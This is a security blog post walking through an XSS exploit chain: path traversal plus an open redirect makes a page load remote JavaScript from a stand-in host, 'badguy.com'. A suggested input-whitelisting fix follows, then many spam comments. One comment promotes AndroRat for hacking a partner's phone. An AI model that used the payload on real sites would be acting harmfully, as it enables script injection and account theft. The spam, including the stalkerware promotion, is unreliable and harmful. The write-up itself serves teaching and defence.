Wednesday 26 November 2014

Traversal to Redirect to Remote JS XSS

I recently came across an interesting snippet of Javascript that looked exploitable but the path to exploitation wasn't that obvious. This post will be about how I achieved a working XSS.


The Code

The vulnerable page was loaded with a URL something like this:
https://app.test.com/timezone?c=test
And contained Javascript looking something like this:
var country = location.search.slice(3);
var s = document.createElement('script');
var src = '/js/timezone-js/timezone-data[' + country + '].min.js';
s.src = src;
document.getElementsByTagName('head')[0].appendChild(s);

Can you spot how to exploit it? :)

============================================

In a nutshell the JS appends a new <script> element to the <head> element. The user is able to modify the country part of the script element as this is retrieved from the URL parameter "c".

Once the above script runs you end up with something like:
<script src="/js/timezone-js/timezone-data[test].min.js"></script>
So how can we exploit this?


From Text to Traversal

In terms of regular inline XSS there are two potential injection points, either directly in the JS or within the HTML output. In this instance neither work because of the way the input is handled and encoding.

We can however use path traversal to load any JS file on the server. For example, to load a legitimate file with traversal we could do this:
https://app.test.com/timezone?c=/../../../js/timezone-js/timezonedata[UK.min.js]?

But we still have no way to load our own JS...or do we?


From Traversal to Dead End?

The easiest way to get JS execution from the traversal would have been to locate an upload feature or error message on the same domain that allowed the user to control the first few bytes of the response. This would have allowed the inclusion of a JS payload that could have been accessed through the traversal.

For example:
https://app.test.com/timezone?c=/../../../../uploads/file?
Unfortunately I couldn't find such a place....but I did have an open redirection I could play with.


From Redirection to JS

The open redirection was pretty standard something like:
https://app.test.com/accounts/logout/?next=https://badguy.com
Open redirection is often classed as medium/low risk but in this instance it was the final piece of the XSS puzzle as it would allow us to redirect a browser offsite to grab remote JS.

Combining the traversal and redirection the complete attack URL was:
https://app.test.com/timezone?c=/../../../../accounts/logout/?next=https://badguy.com/script.js?

Which would cause the in-page JS to create a script tag that would load our malicious remote JS:
<script src="/../../../../accounts/logout/?next=https://badguy.com/script.js?].min.js"><script>


Congratulations you've achieved XSS by loading remote JS from traversal and redirection!


The Fix

I definitely think this functionality could have been handled in a cleaner way using server-side code. A quick fix though would have been to whitelist the country parameter to prevent path traversal.
country = country.replace(/[^\w\-]/g, '');


Final Thoughts

I really enjoyed exploiting this issue as it involved stringing multiple flaws together to achieve a working XSS which at first glance didn't seem possible. I guess the moral of the story is always think outside the box and don't write sloppy Javascript :)

If you have any questions or feedback just drop me a comment below. Pwndizzle out.

156 comments:

  1. Hi, I read your post regarding the Facebook account phone number determinations. I was wondering if you have an e-mail I could reach you at. Locked out of Yahoo mail from years ago, and I don't know the phone number associated to my account anymore.

    Thank you.

    ReplyDelete
  2. This is such a good post. One of the best posts that I\'ve read in my whole life. I am so happy that you chose this day to give me this. Please, continue to give me such valuable posts. Cheers!
    java training in tambaram | java training in velachery

    java training in omr | oracle training in chennai

    java training in annanagar | java training in chennai

    ReplyDelete
  3. It seems you are so busy in last month. The detail you shared about your work and it is really impressive that's why i am waiting for your post because i get the new ideas over here and you really write so well.
    python training in pune
    python online training
    python training in OMR

    ReplyDelete
  4. A universal message I suppose, not giving up is the formula for success I think. Some things take longer than others to accomplish, so people must understand that they should have their eyes on the goal, and that should keep them motivated to see it out til the end.
    python training in pune
    python online training
    python training in OMR

    ReplyDelete
  5. The knowledge of technology you have been sharing thorough this post is very much helpful to develop new idea. here by i also want to share this.
    Devops training in tambaram
    DevOps online Training
    DevOps Training in USA

    ReplyDelete
  6. We are a group of volunteers and starting a new initiative in a community. Your blog provided us valuable information to work on.You have done a marvellous job!
    Blueprism online training

    Blue Prism Training in Pune

    ReplyDelete
  7. This comment has been removed by the author.

    ReplyDelete
  8. Thank you sharing this kind of noteworthy information. Nice Post.

    Guest posting sites
    Education

    ReplyDelete
  9. This information is impressive. I am inspired with your post writing style & how continuously you describe this topic. Eagerly waiting for your new blog keep doing more.
    Android Training in Bangalore
    Android Developer Course in Bangalore
    Android App Development Training in Bangalore
    Android Training Center in Bangalore
    Android Institute in Bangalore

    ReplyDelete
  10. Amazing information,thank you for your ideas.after along time i have studied
    an interesting information's.we need more updates in your blog.
    Salesforce Training in Mogappair
    Salesforce Training in Thirumangalam
    Salesforce Training in Nungambakkam
    Salesforce Training in Vadapalani

    ReplyDelete
  11. Great Article, very useful information, thank you !!

    Guest posting sites
    Education

    ReplyDelete
  12. WP Engine, most rated WordPress hosting comes with all the essential & advanced features for Wp Engine Black Friday WordPress powered sites. WP Engine just beyond a hosting company where they incorporated many tools to identify slow loading pages.

    ReplyDelete
  13. This comment has been removed by the author.

    ReplyDelete
  14. Outstanding blog thanks for sharing such wonderful blog with us ,after long time came across such knowlegeble blog. keep sharing such informative blog with us.

    Check out : machine learning training in chennai
    artificial intelligence and machine learning course in chennai
    machine learning with python course in chennai
    best machine learning institutes in chennai

    ReplyDelete
  15. Great Article… I love to read your articles because your writing style is too good, its is very very helpful for all of us and I never get bored while reading your article because, they are becomes a more and more interesting from the starting lines until the end.


    AWS Training in Bangalore

    Best AWS Training Institute in Bangalore


    ReplyDelete
  16. This comment has been removed by the author.

    ReplyDelete
  17. Really It is very useful information for us. thanks for sharing.
    CEH Training In Hyderabad

    ReplyDelete
  18. I Had Read Your Article & Really Like It, Thank You For This Type Of Valuable Information !!

    Are You Planning To Buy A Phone Or Want To Know Best Phones In 2019 Then Visit Our Website Phones Pick

    ReplyDelete
  19. I have read your article, it is very informative and helpful for me.I admire the valuable information you offer in your articles. Thanks for posting it..
    data analytics course malaysia

    ReplyDelete
  20. To read more informative article on static gk quiz you can go to byscoop

    ReplyDelete
  21. Really amazing article thanks for this article.
    PHP

    ReplyDelete
  22. This information really amazing thanks for share this article thank you..

    easy hindi riddles with answers

    ReplyDelete
  23. Antivirus has made our lives easier and secured. When you dial Webroot Support Toll-free Number , our experts will instantly engage with you. We cover a wide scope of services to satisfy every customer with the best solutions.

    ReplyDelete
  24. I Got Job in my dream company with decent 12 Lacks Per Annum salary, I have learned this world most demanding course out there in the current IT Market from the data science course in puneProviders who helped me a lot to achieve my dreams comes true. Really worth trying instant approval blog commenting sites

    ReplyDelete
  25. Best post .. I really appreciate your hard work and impressive writing style. Thanks for sharing. Keep Writing. Please visit - Sai Baba Images and Good Morning Love

    ReplyDelete
  26. I learned World's Trending Technology from certified experts for free of cost.i Got job in decent Top MNC Company with handsome 14 LPA salary, i have learned the World's Trending Technology from Python training in pune experts who know advanced concepts which can helps to solve any type of Real time issues in the field of Python. Really worth trying instant approval blog commenting sites

    ReplyDelete
  27. Cool post .. amazing blog. I really appreciate your effort. Thanks for sharing. Please Check Sai Baba Images and Good Morning Love

    ReplyDelete
  28. Really interesting and informative post! Thanks for sharing with us.
    list installed packages on ubuntu

    ReplyDelete
  29. Fonts For Facebook Generate cool and stylish FB Fonts fancy fonts for your Facebook account and Facebook Fonts
    you can use in all social media platform Fonts For FB

    ReplyDelete
  30. Thank you for this great article i learn a lot from your article keep it up.
    read more

    ReplyDelete
  31. This comment has been removed by the author.

    ReplyDelete
  32. Best Quotes In HindiBest Quotes In

    Hindi

    Shiv Tandav Stotram Full Lyrics? Shiv

    Tandav Stotram Full Lyrics

    Hindi Love Shayari CollectionHindi

    Love Shayari Collection

    Love quotes in hindiLove quotes in

    hindi

    Pal Pal Dil Ke Paas Lyrics – Arijit SinghPal Pal Dil Ke Paas Lyrics – Arijit Singh
    Tera Fitoor Lyrics – Arijit SinghTera Fitoor Lyrics – Arijit

    Singh

    Apna Time Aayega LyricsApna Time Aayega Lyrics


    ReplyDelete
  33. Are you like To Hack Garena Free Fire Game, U can want 2 File Free Fire Mod, Unban Virtual
    Are u like to hack your Girlfriend mobile, u can try it AndroRat, FBSub APK

    ReplyDelete
  34. Thank you for such a nice article keep posting, I am a Regular Visitor of your website.
    the hindu pdf

    ReplyDelete
  35. Very good post, keep sending us such informative articles I visit your website on a regular basis.
    current affairs by jagran josh

    ReplyDelete
  36. Download CoolRom from the largest and cleanest ROMs and emulators resource on the net. Mobile optimized. Systems include N64, GBA, SNES, NDS, GBC, NES, MAME, PSX, Gamecube and more.

    ReplyDelete
  37. Another factor to consider before getting yourself a folding ‘yak is considering the comfort level and ease of use.

    Convertible Kayak

    ReplyDelete
  38. I found your article on Google when I was surfing, it is written very nicely and is optimized .Thank you I visit your website regularly.
    school fee management software

    ReplyDelete
  39. You can get a bigger discount when you subscribe for more than 1 module and for a long period of time. The decision is up to you:

    free instagram followers instant

    ReplyDelete
  40. The biggest issue with trying to sell with a real estate agent or selling it yourself as FOR SALE BY OWNER is often times retail buyers will tie up a home for weeks and pull out on the deal at the last second… or have their bank loan fall through.

    We Buy Houses West Allis WI

    ReplyDelete
  41. Nice Post, Accounting software is what we need to manage accounts efficiently and effectively. Big organizations have tons of works to do in less amount of time and thus software is a must to use. With this increased demand for performance, the bulk of their work usually requires automated strategies and one such help is given by QuickBooks. Moreover, QuickBooks Support Phone Number 1-833-401-0204 allows you to remain clear about the issues of this great app. Read more: https://buzzmytech.com/read-blog/1270 or visit us: https://tinyurl.com/uqjghhh

    ReplyDelete
  42. Nice Post, Accounting software is what we need to manage accounts efficiently and effectively. Big organizations have tons of works to do in less amount of time and thus software is a must to use. With this increased demand for performance, the bulk of their work usually requires automated strategies and one such help is given by QuickBooks. Moreover, QuickBooks Support Phone Number 1-833-401-0204 allows you to remain clear about the issues of this great app. Read more: https://buzzmytech.com/read-blog/1270 or visit us: https://tinyurl.com/uqjghhh

    ReplyDelete
  43. I am reading your blog regularly, what a post very interesting and great content. Thank you for your post!!!
    triple c online mock test

    ReplyDelete
  44. Usually I never comment on blogs but your article is so convincing that I never stop myself to say something about it. You’re doing a great job Man, Keep it up. Strange VPN Host

    ReplyDelete
  45. I really enjoyed reading this article. Thanks for sharing valuable information.
    Data Science Course
    Data Science Course in Marathahalli

    ReplyDelete
  46. Wow What a Nice and Great Article, Thank You So Much for Giving Us Such a Nice & Helpful Information, please keep writing and publishing these types of helpful articles, I visit your website regularly.
    temperature in chandigarh

    ReplyDelete
  47. Best 2 3 4 burner gas stove in india

    Best 2 burner gas stove

    Best 3 burner gas stove

    Best 4 burner gas stove









    best-2-burner-gas-stove-in-india

    Best 2 burner gas stove

    https://www.bestgasstoveinindia.com/best-2-burner-gas-stove-in-india/




    best-3-burner-gas-stove-in-india

    Best 3 burner gas stove




    best-4-burner-gas-stove-in-india

    Best 4 burner gas stove




    best-gas-stove-in-india

    Best 2 3 4 burner gas stove in india



    https://www.bestgasstoveinindia.com/best-3-burner-gas-stove-in-india/
    https://www.bestgasstoveinindia.com/best-4-burner-gas-stove-in-india/
    https://www.bestgasstoveinindia.com/

    ReplyDelete
  48. Pest elimination services removal expert pest control specialists who can tailor their pest control services based on your needs and the needs of your business, employees and customers. We will work with you to create an effective pest control solution for a variety of pests.
    Ants leave a scented trail that other ants follow. Sweeping or mopping isn’t enough to eliminate the scent.Killing the ants passing by will not eliminate the problem from its roots. The main source of the colonies is the queen. In order to find the nest and the queen a trail of ants must be followed. It is important to identify the ants taking food crumbs and following them to find the nest. Once the nest has been found, be careful not to disturb the worker ants taking the food to the nest.
    Sugar ants love a dirty sink and the water you leave them to help wash down the leftovers. Make sure to rinse out any dishes you're going to leave in the sink over night. And when you do clean the dishes, make sure you rinse and wipe down the entire sink to make certain you haven't left residual sweets, food, or moisture behind. If you're really picky about cleaning, you might even want to try pouring a little bleach down the drain to make sure the smell of rotting food doesn't attract more ants to your kitchen. Dish drains should also be emptied and wiped down before the end of the day.
    Little black ants have also garnered the name sugar ant, though their real name is, well, Little Black Ants. Not a lot is known about Little Black Ants, except that they eat just about anything (including other insects) and they really like rotting wood and dark spaces. Getting rid of little black ants, however, despite how little is known about them from a biological perspective, is as easy as getting rid of sugar ants. Sweet baits can be used to control little black ants indoors, and protein baits can be used to control little black ants outdoors.
    Look in attics, bathrooms, and exterior walls. When you find the nest, spray it with an insecticide labeled for indoor use.Trim back bushes, shrubs, and trees that brush against your siding or roof. These provide a bridge for ants to reach your home. Avoid stacking firewood next to the house.


    Exterminators near me


    ReplyDelete
  49. Study Machine learning course bangalore with ExcelR where you get a great experience and better knowledge.Machine learning course bangalore

    ReplyDelete
  50. very nice and Very good post, keep sending us such informative articles I visit your website on a regular basis 우리카지노

    ReplyDelete
  51. Wow What a Nice and Great Article, Thank You So Much for Giving Us Such a Nice & Helpful Information, please keep writing and publishing these types of helpful articles, I visit your website regularly.
    a mirror of common errors pdf

    ReplyDelete
  52. wonderful article. Very interesting to read this article.I would like to thank you for the efforts you had made for writing this awesome article. This article resolved my all queries.
    Data science Interview Questions
    Data Science Course thanks

    ReplyDelete
  53. Wow What a Nice and Great Article, Thank You So Much for Giving Us Such a Nice & Helpful Information, please keep writing and publishing these types of helpful articles, I visit your website regularly.
    hindi vyakaran pdf

    ReplyDelete

  54. UnknownSeptember 25, 2014 at 3:22 PM
    It seems to collect a lot of different ideas in the Word document. I do it in different sheets of paper in my notebook. You have what you do now?thanks
    Ai & Artificial Intelligence Course in Chennai
    PHP Training in Chennai
    Ethical Hacking Course in Chennai Blue Prism Training in Chennai
    UiPath Training in Chennai

    ReplyDelete
  55. Nice information, you write very nice articles, I visit your website for regular updates.
    nit goa

    ReplyDelete
  56. Very well written on topics of Sinhala wal katha with relation to wal katha as well. Appreciate the effort.

    ReplyDelete
  57. While reading this wonderful article, I came across many aspects on which I coincide with you.
    SAP training in Kolkata
    SAP course in kolkata
    SAP training institute in Kolkata

    ReplyDelete
  58. wonderful article. I would like to thank you for the efforts you had made for writing this awesome article. This article resolved my all queries. data science courses

    ReplyDelete
  59. https://www.pforprograms.com/2020/11/How%20to%20Setup%20Java%20Environment%20in%20Win%2010.html

    ReplyDelete
  60. you can learn to much coding from here
    https://www.pforprograms.com/2020/11/How%20to%20Setup%20Java%20Environment%20in%20Win%2010.html

    ReplyDelete
  61. Nice article and thanks for sharing with us. Its very informative


    Plots in TUKKUGUDA

    ReplyDelete
  62. Such an excellent and interesting blog, do post like this more with more information, this was very useful, Thank you.
    DevOps Training in Chennai

    DevOps Course in Chennai

    ReplyDelete
  63. Amazing informative article. Made my day sir. Well you can check out PUBG Mobile Custom Room details from here.

    ReplyDelete
  64. A really great post. I found a lot of useful information here.
    Happy Republic Day 2021 Quotes in Gujarati

    ReplyDelete
  65. I am a new user of this site so here i saw multiple articles and posts posted by this site,I curious more interest in some of them hope you will give more information on this topics in your next articles.

    Data Science Course in Mysore

    ReplyDelete
  66. Nice Blog. I got inspired by reading it. I want to offer the best institute to learn digital marketing course in Gurgaon

    ReplyDelete
  67. Really good Info. Thanks for your information. Please find the best institute for Digital Marketing Course in Gurgaon. 99 Digital Academy. Join free Demo Class.

    ReplyDelete
  68. Great blog to read. I was just looking for this. Best digital marketing course I am suggesting here. This field having more job opportunity in future.

    ReplyDelete
  69. Great Article to Read. I was looking for this one. Thanks a lot. I .a suggestion for the Best Digital Marketing Course. If you want to enroll in Digital Marketing Course, Join 99 Digital Academy offers an affordable Digital Marketing Course. Click to Enroll Today.
    Best Free Digital Marketing Seminar in Gurgaon.

    ReplyDelete
  70. Thanks a lot for sharing kind of information. Your article provides such great information with good knowledge. Digital Marketing Training in Pune

    ReplyDelete
  71. Accurate info soft Provide Best erp development Software in USA. It is based on ISO guidelines therefore it automates business process in a more systematic way and help enterprise to achieve various level of standards in quality.

    ReplyDelete
  72. 당신이 내 마음을 읽는 것과 같습니다! 당신은 책을 쓴 것처럼 이것에 대해 너무 많이 아는 것 같습니다. 나는 당신이 메시지를 집으로 가져 가기 위해 몇 장의 사진으로 할 수 있다고 생각하지만 그 대신 이것은 훌륭한 블로그입니다. 관련 정보를 제공하는 블로그를 방문하십시오.메리트카지노
    감사!

    ReplyDelete
  73. Superb post, i read it and it is really so. Informative and little lengthy.

    Hey can you little look at this , these posts are really super awesome and good . Read this at once. 👇
    Make money online
    Shopify 2021
    Make money at home
    How to buy cryptocurrency in India in 2021
    Superpayme Review 2021




    ReplyDelete
  74. This post is very good I am very happy to see this post. Thanks for sharing such a great article. Keep up the work... your site is great, and it's helping us a lot.
    It really Great Article, Please Upload Daily Posts.
    These Are My Aps Please Check Out.
    Video Player App 😍
    " Ad-Free Video Player"
    Good Morning Images

    ReplyDelete
  75. Hi....
    Every time a resource or file is included by the application, there is a risk that an attacker may be able to include a file or remote resource you didn't ...
    You are also read more How to Get Instant Loan

    ReplyDelete
  76. Thanks a lot for one’s intriguing write-up. It’s actually exceptional. Searching ahead for this sort of revisions.
    best digital marketing training institute in hyderabad

    ReplyDelete
  77. Hi.....
    An attacker will use a flaw in a target web application to send some kind of malicious code, most commonly client-side JavaScript, to an end user.
    You are also read more About Home Loan

    ReplyDelete
  78. Hi....
    An attacker will use a flaw in a target web application to send some kind of malicious code, most commonly client-side JavaScript, to an end user. Rather than ...
    You are also read more Best Housing Loan

    ReplyDelete
  79. Hi....
    An attacker will use a flaw in a target web application to send some kind of malicious code, most commonly client-side JavaScript, to an end user. Rather than ...
    You are also read more Instant Loan Online

    ReplyDelete
  80. With thousands of clients from over 150 countries, Tradingzy is the best and most reliable SEO company in the world! We guarantee your website will be at the top for the most searched keywords within 30-60 days. Traders retain our link services year after year _ these services are unmatched in quality and value.

    ReplyDelete
  81. Tradingzy is an experienced and reliable SEO company that offers a wide variety of links, including affordable monthly subscription services for high-quality links, one-time links for your links to be made on a specific page, and blog comments for you to have your site mentioned on other blog sites. These services will help you to rank higher in search engines and receive targeted traffic.

    ReplyDelete
  82. This post is very simple to read and appreciate without leaving any details out. Great work!
    data science course in hyderabad

    ReplyDelete
  83. Hello
    My name is Cory
    Please let me know if you accept Guest or Sponsored Posts on your website
    I would like to post an article with dofollow link
    Send me please all the guidelines

    Best Regards
    Cory Klingshirn
    rachelehamler9@gmail.com

    ReplyDelete
  84. Nice Blog!
    Thanks you very much for sharing valuable information.
    Keep on posting...

    Cheque based business Loans in Chennai
    Unsecured private finance in chennai

    ReplyDelete
  85. Very informative Post! If anyone tried to join the IELTS coaching center in Chennai, then choose Learninsync, they will guide you.

    ReplyDelete
  86. This comment has been removed by the author.

    ReplyDelete
  87. thanks for your information .Knowledge is the foundation of a successful and fulfilling life . online-shiksha

    ReplyDelete
  88. Amazing write-up always finds something interesting. python course in pune

    ReplyDelete
  89. informative article. Keep spreading such a helpful article.
    best institute for python in kphb

    ReplyDelete
  90. This comment has been removed by the author.

    ReplyDelete
  91. Covid symptoms new strain" refers to the signs and indications associated with the latest variant of the COVID-19 virus. As the virus continues to evolve, new strains emerge, potentially leading to changes in symptoms and disease severity. Staying informed about these symptoms is crucial for early detection, prompt treatment, and effective management of the ongoing pandemic

    ReplyDelete
  92. This comment has been removed by the author.

    ReplyDelete
  93. informative article. Keep spreading such a helpful article.
    Snowflake Training In Hyderabad

    ReplyDelete
  94. Thanks for posting the best information and the blog is very important to me.
    dot-net-full-stack-developer

    ReplyDelete